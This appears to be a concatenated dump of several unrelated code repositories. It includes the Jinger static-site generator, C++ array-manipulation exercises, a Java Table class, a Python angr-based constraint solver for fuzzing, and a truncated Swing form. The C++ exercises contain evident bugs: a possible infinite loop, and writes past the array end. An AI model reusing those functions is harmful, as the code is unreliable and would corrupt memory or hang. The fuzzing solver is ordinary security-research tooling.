----------------
Jinger is a static site (not blog) generator that brings the power and
convenience of `Jinja2`_ python template engine for developing static html
sites. Template inheritance was the main motivation behind developing it,
therefore the use of jinja2 and hence the name ``Jinger``!
Why another static site generator ?
-----------------------------------
Ok, to be frank, (as always) I didn't check other alternatives before
starting to write code. Also I liked the name that I came up with!
Anyway, I was looking for something that solved the problem of
writing and maintaining multiple static web pages using the same
layout that allowed code reuse and better organization at the same
time. Most of the other stuff I found was more focussed on blogging.
Features
--------
- Command for generating site directory structure with configurable names
for directories.
- Development Server.
Dependencies
------------
Nothing other than Jinja2.::
$ pip install Jinja2
Install
-------
Run following command to install (recommended to be run inside a virtualenv)::
$ cd jinger
$ python setup.py install
Uninstall
---------
Jinger can be uninstalled using pip
$ pip uninstall jinger
Usage
-----
Start a new site::
$ jinger startsite <sitename> [options]
[options]
-s or --sourcedir name of the source template dir [default: templates]
-t or --targetdir name of the target dir [default: public]
Generate html from templates::
$ cd mysite
$ jinger generate
Run development server::
$ cd mysite
$ jinger runserver [options]
[options]
-p or --port
Help::
$ jinger help
Editing templates
-----------------
You can do almost everything that jinja2 supports. Ofcourse,
you won't be able to use context variables as this is a static
site generator after all :-)
Check `Jinja2's Template Designers'`_ Documentation for more on
editing.
Generating Templates
--------------------
Html directory tree will be same as the templates directory tree.
Typically one might want that some types of templates viz. base and
partial templates should not be compiled when the generate command is
run. This can be configured via the ``skip_templates`` setting in the
json config file. As a default setting, files of pattern "base*.html"
(base templates) and "_*.html" (partial templates) are ignored. If you
are happy with the default settings, then name your base templates and
partial templates according to this. Otherwise you are free to modify
the setting to your taste.
Important: This setting is in form of a list of Unix style wildcard
patterns (and NOT regex).
See ``examples/mysite`` for more info and further section for running the
examples.
Webassets
---------
When jinger creates a new site upon running the ``startsite`` command,
a directory named ``webassets`` is also created where you should place
any css, js, images etc for your site. Note that the choice of name
for this directory is not configurable unlike the ``sourcedir`` and
``targetdir`` directories. This is because the generate command will
copy all the contents of this dir into the ``targetdir`` from where it
will be served.
for eg. if you have following files and directories inside webassets ::
webassets/
js/
main.js
css/
styles.css
images/
logo.png
After running ``generate`` these will be copied to ``targetdir`` as ::
public/
js/
main.js
css/
styles.css
images/
logo.png
Note however that when running the development server, these files
will be served directly from inside ``webassets``.
Including the webassets in your jinja2 template files
-----------------------------------------------------
To include the css/js/images in the templates, just use their path
relative to ``webassets`` such as ::
<link rel="stylesheet" type="text/css" href="css/styles.css"/>
Running the example
-------------------
Examples can be run without installation as follows:
To create a new site, first create a symlink of ``jinger/commands.py``
inside ``examples`` or any other directory where you want to use the
commands (These symlinks will be ignored by git)::
$ cd examples
$ ln -s ../jinger/commands.py commands.py
$ python commands.py startsite newsite
$ cd newsite
$ ln -s ../../jinger/commands.py commands.py
$ echo "<h1>It works!</h1>" > templates/index.html
$ python commands.py runserver
Then open http://127.0.0.1:9000/ in your favourite browser.
To compile templates to markup::
$ cd newsite
$ python commands.py generate
Running Tests
-------------
Use the test runner module to run tests as follows::
$ cd jinger
$ python testrunner.py # will run all tests in jinger/test
$ python testrunner.py site # will run jinger/test/test_site.py
When the tests are run, directories and files will be created in ``playground``
directory and will be deleted in tearDown. Ignore this dir if you don't need
to run tests.
Roadmap
-------
Please see ``roadmap.org``.
Bugs
----
Please use github issue tracker to submit any bugs
All kinds of feedback is welcome :)
.. _Jinga2: http://jinja.pocoo.org/
.. _Jinja2's Template Designers': http://jinja.pocoo.org/docs/templates/
<file_sep>/setup.py
from setuptools import setup
setup(
name='Jinger',
version='0.1.0',
author='<NAME>',
author_email='<EMAIL>',
packages=['jinger', 'jinger.test'],
license='LICENSE.txt',
description='A Jinja2 powered static site generator',
long_description=open('README.rst').read(),
install_requires=["Jinja2 >= 2.6"],
entry_points={
'console_scripts': [
'jinger = jinger.commands:main'
]
}
)
<file_sep>/jinger/test/test_config.py
import os
from jinger import config
from jinger.test import DIR_PLAYGROUND, JingerPlaygroundTest
class ConfigTest(JingerPlaygroundTest):
def setUp(self):
super(ConfigTest, self).setUp()
self.mysite = os.path.join(DIR_PLAYGROUND, 'mysite')
os.mkdir(self.mysite)
def test_config(self):
config.create(self.mysite, 'templates', 'public')
conf = config.get_config(self.mysite)
self.assertEqual(conf['sourcedir'], 'templates')
self.assertEqual(conf['targetdir'], 'public')
self.assertEqual(conf['skip_templates'], ['base*.html', '_*.html'])
<file_sep>/jinger/__init__.py
import os
import shutil
import logging
# setup logging
logging.basicConfig(level=logging.DEBUG,
format='%(message)s')
logger = logging.getLogger('jinger')
if not logger.handlers:
console = logging.StreamHandler()
logger.addHandler(console)
logger.setLevel(logging.INFO)
logger.propagate = 0
def emptydir(dirpath, skip=('.gitignore')):
"""
Empty the directory at the path specified by `dirpath`
If `skip` is a non-empty tuple, don't delete the files and
directories that are lited in the tuple
"""
files = [os.path.join(dirpath, f)
for f in os.listdir(dirpath)
if f not in skip]
for f in files:
if os.path.isfile(f):
os.unlink(f)
else:
shutil.rmtree(f)
| aed707b798f0000578c2b3d139944c6dace45d28 | [
"JavaScript",
"Python",
"reStructuredText"
] | 15 | Python | naiquevin/jinger | 122d10046c29d38e69e56547c26112eacd4d130f | 0a9254b12f3624978fff7589d11893b663c91319 |
refs/heads/master | <repo_name>NeelimaDatla/MissionRnD-C-Arrays-Worksheet<file_sep>/src/removeArrayDuplicates.cpp
/*
OVERVIEW: given an array that has duplicate values remove all duplicate values.
E.g.: input: [1, 1, 2, 2, 3, 3], output [1, 2, 3]
INPUTS: Integer array and length of the array.
OUTPUT: Update input array by removing duplicate values.
ERROR CASES: Return NULL for invalid inputs.
NOTES: Don't create new array, try to change the input array.
*/
#include <stdio.h>
void * removeArrayDuplicates(int *Arr, int len)
{
if (len < 0)
return NULL;
if (Arr == NULL)
return NULL;
int i;
int first = 0;
int last = 0;
int mid;
for (i = 0; i < len;){
int first = i + 1;
last = len - 1;
if (Arr[i] == 0)
i++;
else{
while (first <= last){
mid = (first + last) / 2;
if (Arr[i] > Arr[mid])
first = mid + 1;
else if (Arr[i] < Arr[mid])
last = mid - 1;
else{
Arr[mid] = 0;
}
}
i++;
}
}
int j;
for (i = 0, j = 0; j < len;){
if (Arr[i] != 0){
i++;
j = i;
}
else if (Arr[j] == 0)
j++;
else{
Arr[i] = Arr[j];
Arr[j] = 0;
}
}
return Arr;
}<file_sep>/src/sortedArrayInsertNumber.cpp
/*
OVERVIEW: Given a sorted array, insert a given number into the array at appropriate position.
E.g.: Arr = [2, 4, 6], num = 5 final Arr = [2, 4, 5, 6]. 5 is inserted at 2nd index.
INPUTS: Integer Array pointer, length of the array, number to be inserted.
OUTPUT: Array pointer after inserting number.
ERROR CASES: Return NULL for invalid inputs.
NOTES: Use realloc to allocate memory.
*/
#include <stdio.h>
#include <malloc.h>
int * sortedArrayInsertNumber(int *Arr, int len, int num)
{
if (len < 0)
return NULL;
if (Arr == NULL)
return NULL;
int first = 0;
int last = len - 1;
int mid;
int val;
while (first <= last){
mid = (first + last) / 2;
if (num > Arr[mid])
first = mid + 1;
else if (num < Arr[mid])
last = mid - 1;
else if (Arr[mid] == num)
val = last;
}
val = last;
for (int j = len; j > val; j--){
Arr[j] = Arr[j - 1];
}
Arr[val + 1] = num;
return Arr;
} | 6f54d4a0a711f8a65a74290dddd45da3cc09a5a8 | [
"C++"
] | 2 | C++ | NeelimaDatla/MissionRnD-C-Arrays-Worksheet | 9e11a224bb5c79b33887c5efca36b2638c123b40 | e0947e8c3e24167cd4a9f7e1013cd87377d46eaa |
refs/heads/master | <repo_name>rahavMatan/npm-git-test<file_sep>/README.md
# npm-git-test<file_sep>/app.js
angular.module('myApp',['ngAnimate'])
.controller('myCtrl',function($scope,$element,$animate){
$scope.msg="12345";
this.someBool=false;
this.doSomething=function(){
this.someBool=!this.someBool;
//$element.addClass('fade');
$animate.addClass($element,'fade');
}
})
.directive('myDirective',function(){
return {
template:'<div class="fade">{{msg}}</div>',
scope:{},
controller:function($scope){
$scope.msg="5656565";
},
controllerAs:'ctrl'
}
})
.animation('.aDiv',function($animateCss){
return {
enter:function(element,done){
return $animateCss(element,{
addClass:'test',
from:{
opacity:0,
width:'50%'
},
to:{
opacity:1,
width:'100%'
},
duration:1
});
}
}
})
| f7110355927d1dc75168276fffeb8669345889c8 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | rahavMatan/npm-git-test | 532f9e9e7d352aac98d5aa2df5686b46d8c634bf | 7a0945655215e600b7da8c6969043840a2a5f3f7 |
refs/heads/master | <repo_name>poul1x/conny<file_sep>/conny.py
from aiohttp import web
import asyncio
import logging
import processing
async def index(request):
return web.Response(text='Conny is running')
async def load_binary(request):
post_data = await request.post()
try:
load_opts = {k[5:]: v for k, v in post_data.items()
if k.startswith('base.')}
for k in load_opts.keys():
load_opts[k] = {'base_addr': int(load_opts[k], 16)}
tc_length = int(post_data['tc_length'], 16)
target_addr = int(post_data['target_addr'], 16)
ctx = {k[4:]: v for k, v in post_data.items()
if k.startswith('ctx.')}
ctx['sp'] = int(ctx['sp'], 16)
ctx['lr'] = int(ctx['lr'], 16)
ctx['flags'] = int(ctx['flags'], 16)
for i in range(13):
j = 'r' + str(i)
ctx[j] = int(ctx[j], 16)
task = processing.LoadTask(load_opts, target_addr, ctx, tc_length)
processing.put_task(task)
except KeyError as e:
return web.Response(text='Required parameter is not set: %s' % str(e), status=400)
return web.Response(text='Binary is loading', status=202)
async def solve_path_constraints(request):
post_data = await request.post()
try:
buf = post_data['buf']
taint = post_data['taint']
buf_addr = int(post_data['buf_addr'], 16)
taint_offs = int(post_data['taint_offs'], 16)
cmp_addr = int(post_data['cmp_addr'], 16)
task = processing.SolverTask(buf, buf_addr, taint,
taint_offs, cmp_addr)
processing.put_task(task)
except KeyError as e:
return web.Response(text='Required parameter is not set: %s' % str(e), status=400)
return web.Response(text='Solving...', status=202)
async def prepare_next_testcase(request):
testcase = processing.get_result()
if testcase:
return web.Response(body=testcase, status=200)
else:
return web.Response(text='Not ready', status=204)
if __name__ == "__main__":
fmt = '%(asctime)s %(levelname)-8s %(name)-15s %(message)s'
logging.basicConfig(level=logging.INFO, format=fmt)
logger = logging.getLogger('server')
logger.info('Begin initialization')
override_args = {
'logger': logger,
'access_log': logger,
'access_log_format': "%a %s - %r %b bytes",
}
app = web.Application(handler_args=override_args)
app.router.add_route('GET', '/next', prepare_next_testcase)
app.router.add_route('POST', '/load', load_binary)
app.router.add_route('POST', '/solver', solve_path_constraints)
logger.info('Starting solver thread')
th = processing.start_thread()
logger.info('Launching server')
web.run_app(app)
print()
logger.info('Exitting...')
processing.stop_thread(th)
<file_sep>/processing.py
import os
import queue
import logging
import threading
import solver
GET_TIMEOUT = 5
DATA_DIR = 'data'
OUTPUT_QUEUE_PATH = DATA_DIR + '/output_queue.bin'
TESTCASES = DATA_DIR + '/testcases.bin'
thread_stop = False
load_queue = queue.Queue()
input_queue = queue.Queue()
output_queue = queue.Queue()
logger = logging.getLogger('solver')
class LoadTask:
def __init__(self, load_opts, target_addr, ctx, length):
self.load_opts = load_opts
self.target_addr = target_addr
self.length = length
self.ctx = ctx
class SolverTask:
def __init__(self, buf, buf_addr, taint, taint_offs, cmp_addr):
self.buf_addr = buf_addr
self.cmp_addr = cmp_addr
self.taint_offs = taint_offs
self.taint = taint
self.buf = buf
class SolverResult:
def __init__(self, buf):
self.buf = buf
def queue_get(q, nowait=False):
try:
if nowait:
item = q.get_nowait()
else:
item = q.get(timeout=GET_TIMEOUT)
except queue.Empty:
return None
else:
return item
def queue_merge_blob(q1, q2):
while True:
item = queue_get(q2, nowait=True)
if not item:
break
else:
q1.put_nowait(SolverResult(item.buf))
def put_task(task):
global input_queue, load_queue
if isinstance(task, SolverTask):
input_queue.put(task)
elif isinstance(task, LoadTask):
load_queue.put(task)
else:
assert False, "Unexpected task type"
def get_result():
global output_queue
if output_queue.empty():
return None
item = output_queue.get()
assert isinstance(item, SolverResult)
return item.buf
def fix_input_data_length(length):
global output_queue
if output_queue.empty():
tc = SolverResult(b'A' * length)
output_queue.put_nowait(tc)
return
while True:
item = output_queue.get_nowait()
item_len = len(item.buf)
if length == item_len:
break
elif length < item_len:
item.buf = item.buf[:length]
else:
item.buf = item.buf + b'A' * (length - item_len)
output_queue.put_nowait(item)
def initialize_solver():
global load_queue
item = queue_get(load_queue)
if not item:
return False
fix_input_data_length(item.length)
solver.load_binary(item.load_opts, item.target_addr,
item.ctx, item.length)
logger.info('Binary loaded target=0x%08x' % item.target_addr)
return True
def do_processing():
global thread_stop, input_queue, output_queue, load_queue
if thread_stop:
raise KeyboardInterrupt()
if not solver.is_initialized():
res = initialize_solver()
if not res:
return
item = queue_get(input_queue)
if thread_stop:
input_queue.put_nowait(item)
raise KeyboardInterrupt()
if not item:
return
taint = item.taint
taint_offs = item.taint_offs
cmp_addr = item.cmp_addr
buf1, buf2 = solver.solve_path_constraints(
item.buf.encode(), item.buf_addr,
taint, taint_offs, cmp_addr)
output_queue.put(SolverResult(buf1))
output_queue.put(SolverResult(buf2))
msg = f'Constraint solved: cmp_addr={hex(cmp_addr)} taint=0x{item.taint}'
logger.info(msg)
with open(TESTCASES, "ab") as f:
f.write(buf1 + b'\n')
f.write(buf2 + b'\n')
def worker():
while True:
try:
do_processing()
except KeyboardInterrupt:
break
except solver.SolverError as e:
logger.error(str(e))
except:
logger.exception('Unexpected error')
logger.info('Solving is interrupted. Thread is stopped')
def start_thread():
global input_queue, output_queue
if not os.path.exists(DATA_DIR):
os.mkdir(DATA_DIR)
open(TESTCASES, "wb").close()
open(OUTPUT_QUEUE_PATH, "wb").close()
# Start thread
th = threading.Thread(name='solver', target=worker)
th.start()
return th
def stop_thread(th):
global thread_stop
thread_stop = True
th.join()
<file_sep>/solver.py
import angr
import claripy
import monkeyhex
import logging
from dataclasses import dataclass
class SolverError(Exception):
pass
@dataclass
class SymByteTainted:
taint_offset: int
sym_byte: claripy.BVS
def __hash__(self):
return self.taint_offset
root = logging.getLogger()
root.setLevel(logging.INFO)
angr_logger = logging.getLogger('pyvex.expr')
angr_logger.setLevel(logging.WARNING)
angr_logger = logging.getLogger('angr.project')
angr_logger.setLevel(logging.WARNING)
angr_logger = logging.getLogger('cle.loader')
angr_logger.setLevel(logging.WARNING)
angr_logger = logging.getLogger('angr.sim_manager')
angr_logger.setLevel(logging.WARNING)
angr_logger = logging.getLogger('angr.engines.engine')
angr_logger.setLevel(logging.WARNING)
PROGRAM = 'drtaint_marker_app'
sim_opts = {
angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS,
}
project = None
state = None
max_length = 0
def is_initialized():
return project is not None and state is not None
def load_binary(load_opts, target_addr, ctx, length):
global project, state, max_length
# Load program to be analyzed and setup its context
project = angr.Project('bin/' + PROGRAM,
main_opts=load_opts[PROGRAM],
lib_opts=load_opts,
use_sim_procedures=False)
max_length = length
state = project.factory.blank_state(
addr=target_addr, add_options=sim_opts)
regs = state.regs
regs.r0 = ctx['r0']
regs.r1 = ctx['r1']
regs.r2 = ctx['r2']
regs.r3 = ctx['r3']
regs.r4 = ctx['r4']
regs.r5 = ctx['r5']
regs.r6 = ctx['r6']
regs.r7 = ctx['r7']
regs.r8 = ctx['r8']
regs.r9 = ctx['r9']
regs.r10 = ctx['r10']
regs.r11 = ctx['r11']
regs.r12 = ctx['r12']
regs.sp = ctx['sp']
regs.lr = ctx['lr']
regs.flags = ctx['flags']
def find_branches(cmp_addr, max_steps=5):
global project
# Find 2 possible branches cmp leads to
state_cmp = project.factory.blank_state(
addr=cmp_addr, add_options=sim_opts)
steps = 0
simulation = project.factory.simgr(state_cmp)
while steps < max_steps and len(simulation.active) != 2:
simulation.step(num_inst=1)
steps += 1
if len(simulation.active) != 2:
raise SolverError(f'Unable to find branches from 0x%08x' % cmp_addr)
branch1 = simulation.active[0].addr
branch2 = simulation.active[1].addr
return branch1, branch2
I = 0
def solve_path_constraints(buf, buf_addr, taint, taint_offs, cmp_addr):
global project, state, max_length, I
I+=1
# Set buffer concrete value
buf_len = len(buf)
content = claripy.BVV(buf, buf_len * 8)
state.memory.store(buf_addr, content)
# Process tainted bytes
tainted = [
int(taint[0:2], 16),
int(taint[2:4], 16),
int(taint[4:6], 16),
int(taint[6:8], 16),
]
# Get unique bytes and remove those
# have '0' value (not tainted)
tainted = set(tainted)
tainted.discard(0)
# Set buffer symbolic values
sym_bytes_tainted = set()
for offs in tainted:
sym_byte = claripy.BVS('t', 8)
global_offs = offs + taint_offs - 1
state.memory.store(buf_addr + global_offs, sym_byte)
sym_bytes_tainted.add(SymByteTainted(global_offs, sym_byte))
# Launch simulation and explore paths
# from the beginning of target function
simulation = project.factory.simgr(state)
branch1, branch2 = find_branches(cmp_addr)
i = 0
while True:
simulation.explore(find=[branch1, branch2])
cnt_found = len(simulation.found)
if cnt_found == 0 or i > max_length:
info = '(cmp_addr=0x%08x, taint=0x%s)' % (cmp_addr, taint)
raise SolverError('Failed to solve path constraints ' + info)
if cnt_found == 2:
break
assert cnt_found == 1
simulation.move(from_stash='found', to_stash='active')
simulation.step()
i += 1
# Retrieve solutions
res_branch1 = bytearray(buf[:])
res_branch2 = bytearray(buf[:])
for sbt in sym_bytes_tainted:
solution_state = simulation.found[0]
res_byte = solution_state.solver.eval(sbt.sym_byte, cast_to=bytes)
res_branch1[sbt.taint_offset] = int(res_byte[0])
solution_state = simulation.found[1]
res_byte = solution_state.solver.eval(sbt.sym_byte, cast_to=bytes)
res_branch2[sbt.taint_offset] = int(res_byte[0])
return res_branch1, res_branch2
| 4a7451bb12951cee92c1932e37966da131248210 | [
"Python"
] | 3 | Python | poul1x/conny | e7b87869b71a5f42acaf31f41cfe1f6a8a33111e | 13f8a4575007256ce254079ac99cf3e55ef69eb8 |
refs/heads/master | <repo_name>travisfw/pipes<file_sep>/src/test/java/com/tinkerpop/pipes/util/structures/TableTest.java
package com.tinkerpop.pipes.util.structures;
import junit.framework.TestCase;
/**
* @author <NAME> (http://markorodriguez.com)
*/
public class TableTest extends TestCase {
public void testBasicTableConstruction() {
Table table = new Table("name", "age");
table.addRow("marko", 31);
table.addRow("jen", 28);
table.addRow("puppy", 6);
assertEquals(table.get(0, 0), "marko");
assertEquals(table.get(0, "name"), "marko");
assertEquals(table.get(0, 1), 31);
assertEquals(table.get(0, "age"), 31);
assertEquals(table.get(1, 0), "jen");
assertEquals(table.get(1, "name"), "jen");
assertEquals(table.get(1, 1), 28);
assertEquals(table.get(1, "age"), 28);
assertEquals(table.get(2, 0), "puppy");
assertEquals(table.get(2, "name"), "puppy");
assertEquals(table.get(2, 1), 6);
assertEquals(table.get(2, "age"), 6);
assertEquals(table.getColumn("name").get(0), "marko");
assertEquals(table.getColumn("name").get(1), "jen");
assertEquals(table.getColumn("name").get(2), "puppy");
assertEquals(table.getColumn("age").get(0), 31);
assertEquals(table.getColumn("age").get(1), 28);
assertEquals(table.getColumn("age").get(2), 6);
assertEquals(table.getColumn(0).get(0), "marko");
assertEquals(table.getColumn(0).get(1), "jen");
assertEquals(table.getColumn(0).get(2), "puppy");
assertEquals(table.getColumn(1).get(0), 31);
assertEquals(table.getColumn(1).get(1), 28);
assertEquals(table.getColumn(1).get(2), 6);
assertEquals(table.getRow(0).get(0), "marko");
assertEquals(table.getRow(0).get(1), 31);
assertEquals(table.getRow(1).get(0), "jen");
assertEquals(table.getRow(1).get(1), 28);
assertEquals(table.getRow(2).get(0), "puppy");
assertEquals(table.getRow(2).get(1), 6);
assertEquals(table.getRow(0).getColumn("name"), "marko");
assertEquals(table.getRow(0).getColumn("age"), 31);
assertEquals(table.getRow(1).getColumn("name"), "jen");
assertEquals(table.getRow(1).getColumn("age"), 28);
assertEquals(table.getRow(2).getColumn("name"), "puppy");
assertEquals(table.getRow(2).getColumn("age"), 6);
assertEquals(table.getColumnCount(), 2);
assertEquals(table.getRowCount(), 3);
assertEquals(table.getRow(0).toString(), "[name:marko, age:31]");
assertEquals(table.getRow(1).toString(), "[name:jen, age:28]");
assertEquals(table.getRow(2).toString(), "[name:puppy, age:6]");
assertEquals(table.getColumnNames().get(0), "name");
assertEquals(table.getColumnNames().get(1), "age");
table.setColumnNames("a-name", "an-age");
assertEquals(table.getColumnNames().get(0), "a-name");
assertEquals(table.getColumnNames().get(1), "an-age");
assertEquals(table.getRow(0).toString(), "[a-name:marko, an-age:31]");
assertEquals(table.getRow(1).toString(), "[a-name:jen, an-age:28]");
assertEquals(table.getRow(2).toString(), "[a-name:puppy, an-age:6]");
assertEquals(table.getRow(0).getColumn("a-name"), "marko");
assertEquals(table.getRow(0).getColumn("an-age"), 31);
assertEquals(table.getRow(1).getColumn("a-name"), "jen");
assertEquals(table.getRow(1).getColumn("an-age"), 28);
assertEquals(table.getRow(2).getColumn("a-name"), "puppy");
assertEquals(table.getRow(2).getColumn("an-age"), 6);
assertEquals(table.getRow(0).getColumn(0), "marko");
assertEquals(table.getRow(0).getColumn(1), 31);
assertEquals(table.getRow(1).getColumn(0), "jen");
assertEquals(table.getRow(1).getColumn(1), 28);
assertEquals(table.getRow(2).getColumn(0), "puppy");
assertEquals(table.getRow(2).getColumn(1), 6);
}
public void testConstructionException() {
try {
Table table = new Table("name", "age");
table.addRow("marko", 31, 365);
assertFalse(true);
} catch (RuntimeException e) {
assertTrue(true);
}
try {
Table table = new Table();
table.addRow("marko", 31);
table.addRow("jen", 28, "ads");
assertFalse(true);
} catch (RuntimeException e) {
assertTrue(true);
}
try {
Table table = new Table("name", "age");
table.setColumnNames("name", "age", "history");
assertFalse(true);
} catch (RuntimeException e) {
assertTrue(true);
}
}
}
<file_sep>/src/main/java/com/tinkerpop/pipes/util/structures/Table.java
package com.tinkerpop.pipes.util.structures;
import com.tinkerpop.pipes.PipeFunction;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
/**
* A Table is a collection of rows with various table-style access methods.
*
* @author <NAME> (http://markorodriguez.com)
*/
public class Table extends ArrayList<Row> {
private List<String> columnNames;
private int tableWidth = -1;
public Table() {
this.columnNames = new ArrayList<String>();
}
public Table(final String... columnNames) {
this();
this.columnNames.addAll(Arrays.asList(columnNames));
this.tableWidth = columnNames.length;
}
public Table apply(final PipeFunction... functions) {
if (tableWidth != -1 && functions.length == tableWidth) {
Table table = new Table();
for (final Row row : this) {
List temp = new ArrayList();
for (int i = 0; i < row.size(); i++) {
temp.add(functions[i].compute(row.get(i)));
}
table.addRow(temp);
}
return table;
} else {
throw new RuntimeException("Table width is " + this.tableWidth + " and functions length is " + functions.length);
}
}
public void addRow(final List row) {
if (this.tableWidth == -1) {
this.tableWidth = row.size();
} else {
if (row.size() != tableWidth) {
throw new RuntimeException("Table width is " + this.tableWidth + " and row width is " + row.size());
}
}
this.add(new Row(row, this.getColumnNames()));
}
public void addRow(final Object... row) {
this.addRow(Arrays.asList(row));
}
public void setColumnNames(final String... columnNames) {
if (tableWidth != -1 && columnNames.length != tableWidth) {
throw new RuntimeException("Table width is " + this.tableWidth + " and there are " + columnNames.length + " column names");
}
this.columnNames.clear();
this.columnNames.addAll(Arrays.asList(columnNames));
this.tableWidth = this.columnNames.size();
}
public List<String> getColumnNames() {
return this.columnNames;
}
public int getRowCount() {
return this.size();
}
public int getColumnCount() {
return tableWidth;
}
public Object get(final int row, final int column) {
return this.get(row).get(column);
}
public Object get(final int row, final String columnName) {
return this.get(row).get(this.columnNames.indexOf(columnName));
}
public Row getRow(final int row) {
return this.get(row);
}
public List getColumn(final int column) {
final List temp = new ArrayList();
for (final Row row : this) {
temp.add(row.get(column));
}
return temp;
}
public List getColumn(final String columnName) {
return this.getColumn(this.columnNames.indexOf(columnName));
}
public void clear() {
super.clear();
this.tableWidth = -1;
this.columnNames = new ArrayList<String>();
}
}
| 38de4767a5eb3c68a26d64c58c5335404423890e | [
"Java"
] | 2 | Java | travisfw/pipes | 1bd5b85daac4488d353b3ae1b3efdd7afce18517 | 6d0d37999ae08b6e6bb5f2de5481511dbd6831e5 |
refs/heads/master | <repo_name>abhishek6234/svhf<file_sep>/src/login/KidsInfo.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package login;
/**
*
* @author Tauqeer
*/
public class KidsInfo extends javax.swing.JFrame {
/**
* Creates new form KidsInfo
*/
public KidsInfo() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jScrollPane3 = new javax.swing.JScrollPane();
jPanel29 = new javax.swing.JPanel();
jPanel18 = new javax.swing.JPanel();
jButton1 = new javax.swing.JButton();
jPanel14 = new javax.swing.JPanel();
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jPanel2 = new javax.swing.JPanel();
jLabel2 = new javax.swing.JLabel();
jPanel4 = new javax.swing.JPanel();
jPanel16 = new javax.swing.JPanel();
jLabel3 = new javax.swing.JLabel();
jPanel25 = new javax.swing.JPanel();
jPanel3 = new javax.swing.JPanel();
jPanel17 = new javax.swing.JPanel();
jScrollPane2 = new javax.swing.JScrollPane();
jTextArea2 = new javax.swing.JTextArea();
jPanel22 = new javax.swing.JPanel();
jLabel19 = new javax.swing.JLabel();
jPanel23 = new javax.swing.JPanel();
jLabel17 = new javax.swing.JLabel();
jLabel18 = new javax.swing.JLabel();
jTextField9 = new javax.swing.JTextField();
jTextField10 = new javax.swing.JTextField();
jPanel24 = new javax.swing.JPanel();
jCheckBox3 = new javax.swing.JCheckBox();
jCheckBox2 = new javax.swing.JCheckBox();
jCheckBox4 = new javax.swing.JCheckBox();
jCheckBox1 = new javax.swing.JCheckBox();
jLabel25 = new javax.swing.JLabel();
jTextField11 = new javax.swing.JTextField();
jPanel26 = new javax.swing.JPanel();
jLabel21 = new javax.swing.JLabel();
jPanel27 = new javax.swing.JPanel();
jLabel20 = new javax.swing.JLabel();
jPanel28 = new javax.swing.JPanel();
jCheckBox6 = new javax.swing.JCheckBox();
jCheckBox5 = new javax.swing.JCheckBox();
jCheckBox8 = new javax.swing.JCheckBox();
jCheckBox9 = new javax.swing.JCheckBox();
jCheckBox7 = new javax.swing.JCheckBox();
jPanel5 = new javax.swing.JPanel();
jTextField2 = new javax.swing.JTextField();
jTextField1 = new javax.swing.JTextField();
jLabel5 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jPanel6 = new javax.swing.JPanel();
jLabel6 = new javax.swing.JLabel();
jTextField4 = new javax.swing.JTextField();
jPanel7 = new javax.swing.JPanel();
jLabel7 = new javax.swing.JLabel();
jTextField5 = new javax.swing.JTextField();
jPanel8 = new javax.swing.JPanel();
jLabel8 = new javax.swing.JLabel();
jTextField6 = new javax.swing.JTextField();
jPanel9 = new javax.swing.JPanel();
jLabel10 = new javax.swing.JLabel();
jLabel11 = new javax.swing.JLabel();
jLabel9 = new javax.swing.JLabel();
jComboBox4 = new javax.swing.JComboBox<>();
jTextField7 = new javax.swing.JTextField();
jTextField8 = new javax.swing.JTextField();
jPanel10 = new javax.swing.JPanel();
jLabel12 = new javax.swing.JLabel();
jRadioButton1 = new javax.swing.JRadioButton();
jRadioButton2 = new javax.swing.JRadioButton();
jPanel11 = new javax.swing.JPanel();
jLabel13 = new javax.swing.JLabel();
jTextField3 = new javax.swing.JTextField();
jPanel12 = new javax.swing.JPanel();
jLabel14 = new javax.swing.JLabel();
jPanel15 = new javax.swing.JPanel();
jLabel16 = new javax.swing.JLabel();
jLabel15 = new javax.swing.JLabel();
jScrollPane1 = new javax.swing.JScrollPane();
jTextArea1 = new javax.swing.JTextArea();
jPanel13 = new javax.swing.JPanel();
jPanel19 = new javax.swing.JPanel();
jComboBox1 = new javax.swing.JComboBox<>();
jLabel22 = new javax.swing.JLabel();
jPanel20 = new javax.swing.JPanel();
jComboBox2 = new javax.swing.JComboBox<>();
jLabel23 = new javax.swing.JLabel();
jPanel21 = new javax.swing.JPanel();
jComboBox3 = new javax.swing.JComboBox<>();
jLabel24 = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jScrollPane3.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS);
jScrollPane3.setVerticalScrollBarPolicy(javax.swing.ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
jPanel29.setBackground(new java.awt.Color(255, 255, 255));
jPanel18.setBackground(new java.awt.Color(255, 255, 255));
jButton1.setBackground(new java.awt.Color(255, 255, 255));
jButton1.setFont(new java.awt.Font("Microsoft PhagsPa", 1, 18)); // NOI18N
jButton1.setForeground(new java.awt.Color(0, 204, 0));
jButton1.setText("SUBMIT");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel18Layout = new javax.swing.GroupLayout(jPanel18);
jPanel18.setLayout(jPanel18Layout);
jPanel18Layout.setHorizontalGroup(
jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel18Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jButton1, javax.swing.GroupLayout.DEFAULT_SIZE, 1090, Short.MAX_VALUE)
.addContainerGap())
);
jPanel18Layout.setVerticalGroup(
jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel18Layout.createSequentialGroup()
.addComponent(jButton1)
.addGap(0, 170, Short.MAX_VALUE))
);
jPanel14.setBackground(new java.awt.Color(0, 204, 0));
